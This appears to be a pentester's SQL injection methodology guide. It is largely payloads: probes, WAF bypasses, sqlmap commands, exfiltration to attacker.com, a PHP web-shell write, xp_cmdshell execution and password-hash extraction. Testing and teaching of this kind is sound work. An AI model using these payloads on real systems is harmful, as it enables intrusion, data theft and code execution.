| CWE | CWE-89, CWE-564 |
| WSTG | WSTG-INPV-05 |
| MITRE ATT&CK | T1190 |
| CVSS Range | 6.1-9.8 |
| Tools | sqlmap, ghauri |
| Difficulty | 🟡 intermediate |
SQL Injection
Detect and exploit SQL injection by injecting metacharacters into all input vectors, confirming query manipulation, and extracting data to demonstrate impact.
Quick Reference​
The most commonly used payloads for rapid testing. Try these first against every parameter you encounter.
Detection probes (inject individually):
'
"
`
;
' OR '1'='1
' OR '1'='1'--
" OR "1"="1
1 OR 1=1
1' AND '1'='1
1' AND '1'='2
Database version extraction (once injection is confirmed):
-- MySQL
' UNION SELECT @@version,NULL,NULL--
-- PostgreSQL
' UNION SELECT version(),NULL,NULL--
-- MSSQL
' UNION SELECT @@VERSION,NULL,NULL--
-- Oracle
' UNION SELECT banner,NULL,NULL FROM v$version WHERE ROWNUM=1--
-- SQLite
' UNION SELECT sqlite_version(),NULL,NULL--
Time-based confirmation (blind testing):
-- MySQL: ' AND SLEEP(5)--
-- Postgres: '; SELECT pg_sleep(5);--
-- MSSQL: '; WAITFOR DELAY '0:0:5';--
-- Oracle: ' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('a',5)--
NoSQL injection probes (for MongoDB/document stores):
{"username": {"$gt": ""}, "password": {"$gt": ""}}
{"username": {"$ne": ""}, "password": {"$ne": ""}}
{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}
Detecting Injection Points​
Identifying Injection Points​
Test ALL input vectors systematically. Do not limit yourself to obvious URL parameters. Check every point where user input reaches the application:
- URL parameters (GET):
?id=1,?search=test,?sort=name - POST body parameters:
{"username": "test"},username=admin&password=test - Cookies:
session_id=abc123,preferences=... - HTTP headers:
User-Agent,X-Forwarded-For,Referer,Accept-Language - JSON/XML field values in API request bodies
- File upload metadata: filename, content-type fields
- GraphQL variables and query parameters
- REST API path segments:
/api/users/1(the1may be injected into a query)
Initial Probing​
Start with minimal, non-destructive probes to identify potential injection points without triggering security alerts.
Step 1: Apply single-character probes to each input. Test with SQL metacharacters individually:
- Single quote:
' - Double quote:
" - Backtick:
` - Semicolon:
; - Parentheses:
() - Comment markers:
--#/*
Step 2: Observe response indicators.
Positive indicators (potential SQLi):
- SQL error messages (syntax error, query failed)
- Different HTTP status codes (500, 403)
- Different response lengths compared to baseline
- Different response times
- Missing data that should be present
- Generic error messages that differ from normal errors
Step 3: Baseline comparison.
# Baseline request
curl -s "https://target.com/api/users?id=1" | wc -c
# Output: 4521
# Single quote probe
curl -s "https://target.com/api/users?id=1'" | wc -c
# Output: 1203 (different = interesting!)
# Verify with valid syntax
curl -s "https://target.com/api/users?id=1' AND '1'='1" | wc -c
# Output: 4521 (same as baseline = SQL context confirmed!)
Confirming Injection​
Once you identify a potential injection point, confirm it is exploitable using boolean and time-based techniques.
Boolean-based confirmation:
# True condition (should return normal data)
curl "https://target.com/api/users?id=1 AND 1=1"
# For string context:
curl "https://target.com/api/users?name=admin' AND '1'='1"
# False condition (should return no data or error)
curl "https://target.com/api/users?id=1 AND 1=2"
# For string context:
curl "https://target.com/api/users?name=admin' AND '1'='2"
If the true condition returns data and the false condition does not, injection is confirmed.
Time-based confirmation:
# MySQL
curl -o /dev/null -s -w "Time: %{time_total}\n" \
"https://target.com/api/users?id=1' AND SLEEP(5)--"
# PostgreSQL
curl -o /dev/null -s -w "Time: %{time_total}\n" \
"https://target.com/api/users?id=1'; SELECT pg_sleep(5);--"
# MSSQL
curl -o /dev/null -s -w "Time: %{time_total}\n" \
"https://target.com/api/users?id=1'; WAITFOR DELAY '0:0:5';--"
If the response takes 5+ seconds, time-based blind SQLi is confirmed.
Identifying the Injection Context​
Understanding WHERE your input lands in the query is critical. Different contexts require different payload syntax.
| Context | Example Query | Injection | Notes |
|---|---|---|---|
| String | WHERE name = '[INPUT]' | ' OR '1'='1 | Break out of string delimiter |
| Numeric | WHERE id = [INPUT] | 1 OR 1=1 | No quotes needed |
| Column/Table | ORDER BY [INPUT] | (SELECT 1 FROM users WHERE admin=1) | Subquery or function-based |
| IN clause | WHERE id IN ([INPUT]) | 1) OR (1=1 | Close parenthesis first |
| LIKE clause | WHERE name LIKE '%[INPUT]%' | ') OR ('1'='1 | Close paren and quote |
Database Fingerprinting​
Fingerprint the database to tailor your exploitation payloads.
Error-based fingerprinting:
' AND 1=CONVERT(int,(SELECT @@version))-- -- MSSQL (CONVERT function)
' AND 1=1::int-- -- PostgreSQL (:: cast syntax)
' AND LENGTH(DATABASE())>0-- -- MySQL-specific
' AND LENGTH(current_database())>0-- -- PostgreSQL-specific
' AND LEN(DB_NAME())>0-- -- MSSQL-specific
Concatenation-based fingerprinting:
' AND 'ab'='a' 'b'-- -- MySQL (space concatenation)
' AND 'ab'='a'||'b'-- -- PostgreSQL/Oracle (|| operator)
' AND 'ab'='a'+'b'-- -- MSSQL (+ operator)
Database-Specific Reference​
Each database has unique syntax, functions, and capabilities. Use this reference to tailor your payloads after fingerprinting.
MySQL / MariaDB​
| Feature | Syntax |
|---|---|
| Comments | #, --, /* */ |
| String concat | CONCAT(), or 'a' 'b' (space separator) |
| Version | @@version, VERSION() |
| Current DB | DATABASE() |
| Time delay | SLEEP(n), BENCHMARK(iterations, expr) |
| Stacked queries | Supported with mysqli_multi_query |
| File read | LOAD_FILE('/path') |
| File write | INTO OUTFILE '/path' |
PostgreSQL​
| Feature | Syntax |
|---|---|
| Comments | --, /* */ |
| String concat | 'a' || 'b', CONCAT() |
| Version | version() |
| Current DB | current_database() |
| Time delay | pg_sleep(n) |
| Stacked queries | Fully supported |
| Command execution | COPY TO/FROM PROGRAM (9.3+) |
Microsoft SQL Server​
| Feature | Syntax |
|---|---|
| Comments | --, /* */ |
| String concat | 'a' + 'b', CONCAT() |
| Version | @@VERSION |
| Current DB | DB_NAME() |
| Time delay | WAITFOR DELAY '0:0:5' |
| Stacked queries | Fully supported |
| Command execution | xp_cmdshell (if enabled) |
Oracle​
| Feature | Syntax |
|---|---|
| Comments | --, /* */ |
| String concat | 'a' || 'b', CONCAT() |
| Version | SELECT banner FROM v$version |
| Current DB | SELECT ora_database_name FROM dual |
| Time delay | DBMS_PIPE.RECEIVE_MESSAGE(('a'),5) |
| Stacked queries | Not supported in standard context |
| NULL handling | Requires FROM dual for SELECT |
SQLite​
| Feature | Syntax |
|---|---|
| Comments | --, /* */ |
| String concat | 'a' || 'b' |
| Version | sqlite_version() |
| List tables | SELECT name FROM sqlite_master WHERE type='table' |
| Time delay | Not native (use heavy computation) |
| Stacked queries | Not supported in standard mode |
Exploiting Stacked Queries​
Stacked queries allow executing multiple SQL statements in a single request, enabling INSERT, UPDATE, DELETE, and potentially command execution.
Supported by: PostgreSQL (full), MSSQL (full), MySQL (only with mysqli_multi_query)
Not supported by: Oracle (standard context), SQLite (standard mode)
Test for stacked query support:
'; SELECT pg_sleep(5);-- -- PostgreSQL
'; WAITFOR DELAY '0:0:5';-- -- MSSQL
'; SELECT SLEEP(5);-- -- MySQL (requires mysqli_multi_query)
Read-only proof of concept:
'; CREATE TEMPORARY TABLE test_sqli (data VARCHAR(100)); INSERT INTO test_sqli VALUES ('poc'); SELECT * FROM test_sqli;--
CAUTION: Never execute INSERT, UPDATE, or DELETE on production data. Use SELECT-only proof of concept payloads.
Exploiting Second-Order Injection​
Second-order SQLi occurs when malicious input is stored and later used in a different SQL query without proper sanitization. This is harder to detect because the injection point and the trigger point are different.
Common Vectors​
- User profile fields (username, bio) used in admin queries
- Search terms stored in logs, later displayed in analytics
- File metadata stored and used in file listing queries
- Comments or notes that are later included in reports
Detection Methodology​
-
Inject payloads into stored fields:
Username: admin'--test
Bio: test' OR '1'='1 -
Navigate to areas that might use this data differently:
- Admin panels showing user lists
- Export/report features
- API endpoints that aggregate data
- Email templates using stored data
-
Look for SQL errors or unexpected behavior when stored data is processed.
Example Scenario​
Step 1: Register with username: admin'--
Step 2: Login normally
Step 3: Admin views user list
Step 4: Query becomes: SELECT * FROM users WHERE username = 'admin'--'
Step 5: SQL error or modified query behavior reveals vulnerability
Out-of-Band Exfiltration​
When no in-band data return is possible (blind injection with no response differences and unreliable timing), try exfiltrating data via DNS or HTTP requests to an attacker-controlled server.
MySQL​
-- Requires LOAD_FILE capability
' AND LOAD_FILE(CONCAT('\\\\',DATABASE(),'.attacker.com\\x'))--
-- URL encode data for DNS safety
' AND LOAD_FILE(CONCAT('\\\\',HEX(DATABASE()),'.attacker.com\\x'))--
Microsoft SQL Server​
-- xp_dirtree (common)
'; EXEC master..xp_dirtree '\\attacker.com\share';--
-- With data exfiltration
'; DECLARE @x VARCHAR(100); SELECT @x=@@version; EXEC('master..xp_dirtree "\\'+@x+'.attacker.com\\x"');--
PostgreSQL (with dblink)​
-- Requires dblink extension
'; SELECT dblink_connect('host=attacker.com user='||version()||' password=x');--
Oracle​
-- UTL_HTTP
' AND 1=UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT banner FROM v$version WHERE ROWNUM=1))--
-- DNS exfiltration
' AND 1=UTL_INADDR.GET_HOST_ADDRESS((SELECT banner FROM v$version WHERE ROWNUM=1)||'.attacker.com')--
Bypassing WAFs​
Encoding Bypasses​
URL encoding:
' = %27 " = %22 Space = %20 or +
= = %3D < = %3C > = %3E / = %2F
Double URL encoding:
' = %2527 " = %2522
Unicode encoding:
' = %u0027 < = %u003c
Hex encoding (MySQL):
SELECT 0x61646d696e; -- 'admin' in hex
SELECT CHAR(97,100,109,105,110); -- 'admin' as chars
Case and Syntax Variations​
Case manipulation:
SeLeCt, SELECT, select, sElEcT
UnIoN, UNION, union, uNiOn
Keyword splitting with comments:
UN/**/ION SEL/**/ECT
U/**/N/**/I/**/O/**/N S/**/E/**/L/**/E/**/C/**/T
Whitespace alternatives:
SELECT/**/username/**/FROM/**/users -- Block comment
SELECT%09username%09FROM%09users -- Tab
SELECT%0ausername%0aFROM%0ausers -- Newline
Characters that can replace spaces:
%09 (Tab) %0a (Newline) %0b (Vertical tab) %0c (Form feed)
%0d (Carriage return) %a0 (Non-breaking space) /**/ (Block comment)
Comment Bypasses​
-- (double dash)
# (hash - MySQL only)
/* */ (block comment)
/*! */ (MySQL conditional comment)
-- MySQL version comments: execute if version >= threshold
/*!50000SELECT*/ -- Executes if MySQL >= 5.0
UNION/*!50000SELECT*/NULL,NULL
Function and Operator Alternatives​
Substring alternatives:
SUBSTRING(str,1,1) SUBSTR(str,1,1) MID(str,1,1) -- MySQL
LEFT(str,1) RIGHT(str,1)
Concatenation alternatives:
CONCAT(a,b) CONCAT_WS('',a,b)
a||b -- PostgreSQL/Oracle a+b -- MSSQL
Comparison alternatives:
WHERE a=b WHERE a LIKE b
WHERE a REGEXP b WHERE a BETWEEN b AND b
WHERE NOT(a<>b)
Quote-free string construction:
SELECT CHAR(97,100,109,105,110) -- MySQL
SELECT CHR(97)||CHR(100)||CHR(109)||CHR(105)||CHR(110) -- PostgreSQL
Parameter Pollution and Fragmentation​
HTTP Parameter Pollution (HPP):
?id=1&id=' UNION SELECT
?id=1/*&id=*/UNION SELECT/*&id=*/NULL
Framework behavior with duplicate parameters:
- ASP.NET: Takes first
- PHP: Takes last
- JSP: Concatenates
Fragmentation across parameters:
POST body: param1=UNI¶m2=ON SEL¶m3=ECT NULL
Post-Exploitation​
After confirming SQLi and extracting initial proof, pursue additional impact evidence to accurately rate severity.
Database Enumeration​
-- Current user and privileges
SELECT user() -- MySQL
SELECT current_user -- PostgreSQL
SELECT SYSTEM_USER -- MSSQL
-- DBA check
SELECT super_priv FROM mysql.user WHERE user=user() -- MySQL
SELECT rolname FROM pg_roles WHERE rolsuper=true -- PostgreSQL
SELECT IS_SRVROLEMEMBER('sysadmin') -- MSSQL
File System Access​
-- MySQL file read (requires FILE privilege)
' UNION SELECT LOAD_FILE('/etc/passwd'),NULL,NULL--
-- MySQL file write
' INTO OUTFILE '/var/www/html/shell.php' FIELDS TERMINATED BY '<?php system($_GET["cmd"]); ?>'--
-- PostgreSQL file read
' UNION SELECT pg_read_file('/etc/passwd',0,1000),NULL,NULL--
-- MSSQL file read via bulk insert
'; BULK INSERT tmpTable FROM '/etc/passwd';--
Command Execution​
-- MSSQL (xp_cmdshell)
'; EXEC xp_cmdshell 'whoami';--
-- PostgreSQL (COPY TO PROGRAM, 9.3+)
'; COPY (SELECT '') TO PROGRAM 'id > /tmp/pwned.txt';--
-- MySQL (via UDF if available)
-- Requires writing shared library to plugin directory
Credential Harvesting​
-- Extract password hashes (limit to proof-of-concept rows)
' UNION SELECT username,password,NULL FROM users LIMIT 5--
-- MySQL password hashes
SELECT user,authentication_string FROM mysql.user
-- PostgreSQL password hashes
SELECT usename,passwd FROM pg_shadow
Tools​
sqlmap (Primary Tool)​
sqlmap is the industry-standard SQL injection tool. Use it to automate detection, exploitation, and data extraction.
Basic usage:
# Test a URL parameter
sqlmap -u "https://target.com/api?id=1" --batch
# Test POST data
sqlmap -u "https://target.com/login" --data="username=admin&password=test" --batch
# Test with authentication cookies
sqlmap -u "https://target.com/api?id=1" --cookie="session=abc123" --batch
# Test specific parameter only
sqlmap -u "https://target.com/api?id=1&name=test" -p id --batch
Advanced usage:
# Higher risk and level (more aggressive)
sqlmap -u "URL" --risk=3 --level=5 --batch
# Specify database type
sqlmap -u "URL" --dbms=mysql --batch
# Specify technique
sqlmap -u "URL" --technique=BEUSTQ --batch
# B=Boolean, E=Error, U=Union, S=Stacked, T=Time, Q=Inline
# Enumerate databases
sqlmap -u "URL" --dbs --batch
# Enumerate tables in a database
sqlmap -u "URL" -D database_name --tables --batch
# Dump specific table (LIMIT TO PROOF -- 5 rows max)
sqlmap -u "URL" -D database_name -T users --dump --start=1 --stop=5 --batch
# Extract current user and database
sqlmap -u "URL" --current-user --current-db --is-dba --batch
WAF bypass with sqlmap:
sqlmap -u "URL" --tamper=space2comment,between --batch
sqlmap -u "URL" --tamper=space2comment,randomcase,charencode --batch
sqlmap -u "URL" --random-agent --delay=2 --batch
Ghauri (sqlmap Alternative)​
Use when sqlmap fails due to WAF, or for verification of sqlmap findings.
ghauri -u "https://target.com/api?id=1"
ghauri -u "https://target.com/api?id=1" --dbs
Assessing Impact​
Progress through these levels to maximize the severity rating of your findings. Each level builds on the previous one.
Level 1: Basic Detection (Low)​
Demonstrates that the application processes SQL metacharacters differently.
Required evidence:
- SQL error message triggered by metacharacter
- Different response for valid vs invalid SQL syntax
- Stack trace mentioning SQL/database components
Request: GET /api/users?id=1'
Response: "syntax error at or near..."
Level 2: Confirmed Vulnerability (Medium)​
Demonstrates control over query logic.
Required evidence:
- True condition returns data, false condition does not
- Time delay can be controlled via injection
- OR 1=1 payloads modify the result set
Request A: GET /api/users?id=1 AND 1=1 -> Returns user data
Request B: GET /api/users?id=1 AND 1=2 -> Returns no data
Conclusion: Boolean-based SQL injection confirmed
Level 3: Demonstrated Impact (High)​
Demonstrates actual data extraction or authentication bypass.
Required evidence:
- Database version extracted
- Table/column enumeration completed
- Sample data from unauthorized tables accessed
- Authentication bypass achieved
Request: GET /api/users?id=-1 UNION SELECT version(),NULL,NULL--
Response: "PostgreSQL 13.4 on x86_64-pc-linux-gnu"
Request: GET /api/users?id=-1 UNION SELECT table_name,NULL,NULL FROM information_schema.tables--
Response: ["users", "orders", "payment_info", ...]
Level 4: Critical Impact (Critical)​
Demonstrates severe impact: credential theft, file system access, or RCE.
Required evidence:
- Password hashes extracted
- File read from server filesystem
- OS command execution demonstrated
- Database admin access obtained
-- Password hash extraction
Request: GET /api?id=-1 UNION SELECT username,password,NULL FROM users--
Response: admin:$2b$10$K8f5H...
-- File read (MySQL)
Request: GET /api?id=-1 UNION SELECT LOAD_FILE('/etc/passwd'),NULL,NULL--
Response: "root:x:0:0:root:/root:/bin/bash..."
-- Command execution (MSSQL with xp_cmdshell)
Request: GET /api?id=1'; EXEC xp_cmdshell 'whoami';--
Response: "nt authority\network service"
Writing Proof of Concept​
When writing up findings, follow these rules:
DO:
- Use SELECT statements only for data extraction
- Limit extracted data to the minimum needed for proof (5 records max)
- Document exact reproduction steps with full HTTP requests
- Include baseline (normal) response alongside injected response
- Show the complete request/response pair, not just the payload
- Report findings through proper channels immediately
- Clean up any test artifacts (temporary tables, files)
DO NOT:
- Execute INSERT, UPDATE, or DELETE statements
- Drop tables or modify the schema
- Attempt to create persistent backdoors
- Exfiltrate entire databases
- Store extracted credentials insecurely
- Continue testing after sufficient proof is gathered
Evidence Collection Workflow​
# Step 1: Confirm injection type
sqlmap -u "URL" --batch -v 3 2>&1 | tee sqli_detection.log
# Step 2: Get database banner
sqlmap -u "URL" --banner --batch 2>&1 | tee sqli_banner.log
# Step 3: List databases
sqlmap -u "URL" --dbs --batch 2>&1 | tee sqli_databases.log
# Step 4: Get current user context
sqlmap -u "URL" --current-user --current-db --is-dba --batch 2>&1 | tee sqli_context.log
# Step 5: Extract minimal proof (5 rows only)
sqlmap -u "URL" -D db -T users --dump --start=1 --stop=5 --batch 2>&1 | tee sqli_proof.log
Avoiding False Positives​
False Positive Indicators​
These are NOT SQL injection:
- Generic 500 errors that occur for any malformed input
- Rate limiting responses (429)
- WAF blocks that apply to any suspicious character
- Application-level input validation errors (400 Bad Request)
- JSON parsing errors when input contains quotes
How to differentiate:
# Test if ANY special character causes same error
curl "https://target.com/api?id=<test>" # XSS-like input
curl "https://target.com/api?id=1'" # SQL-like input
curl "https://target.com/api?id=../etc" # Path traversal-like input
# If all produce identical errors, likely WAF or input validation, not SQLi
Common Mistakes​
| Mistake | Fix |
|---|---|
| Assuming error means injection | Verify with boolean conditions (true vs false difference) |
| Not identifying correct quote style | Test both ' and ", also backticks |
| Wrong database syntax | Fingerprint database type first, then use appropriate payloads |
| Missing injection points | Test ALL input vectors: headers, cookies, JSON fields, not just URL params |
| Giving up after WAF blocks | Apply bypass techniques systematically before concluding |
| Not considering injection context | Analyze whether input is in string, numeric, or other context |
Prioritization​
Test these first (highest real-world exploitability)​
- Error-based and UNION-based SQLi on authenticated endpoints -- EPSS >0.7 for known CVEs. These are the most commonly exploited in the wild because they provide immediate data extraction with minimal effort.
- Boolean-based blind SQLi on search/filter parameters -- Search, sort, and filter parameters are the most common injection points in modern applications and frequently lack parameterized queries.
- Time-based blind SQLi on login and authentication endpoints -- Auth endpoints handle high-value data and are frequently targeted. Even blind injection here is critical due to credential access.
Test these if time permits (lower exploitability)​
- Second-order SQLi via stored input -- Harder to detect and exploit, lower EPSS. Requires multi-step interaction (store payload, trigger in different context). Test if the application stores user input that appears in admin panels or reports.
- NoSQL injection variants -- Niche attack surface. Only test if MongoDB, CouchDB, or other document stores are detected (check error messages, response headers, technology fingerprinting).
- Out-of-band exfiltration -- Requires specific database privileges (FILE in MySQL, dblink in PostgreSQL) and network egress. Last resort when all other techniques fail.
Skip if​
- No database interaction detected (static pages, CDN-served content, pure client-side apps)
- All parameters are strictly typed and validated (integer-only IDs with 400 responses on non-numeric input)
Note: ORM usage does not prevent SQL injection. Frameworks like Django (.raw()), SQLAlchemy (text()), and ActiveRecord (.find_by_sql()) all support raw queries.
Asset criticality​
Prioritize by endpoint sensitivity: authentication endpoints > payment/financial endpoints > user data endpoints > search/listing endpoints > static content endpoints. Spend more time on endpoints that handle PII, credentials, or financial data.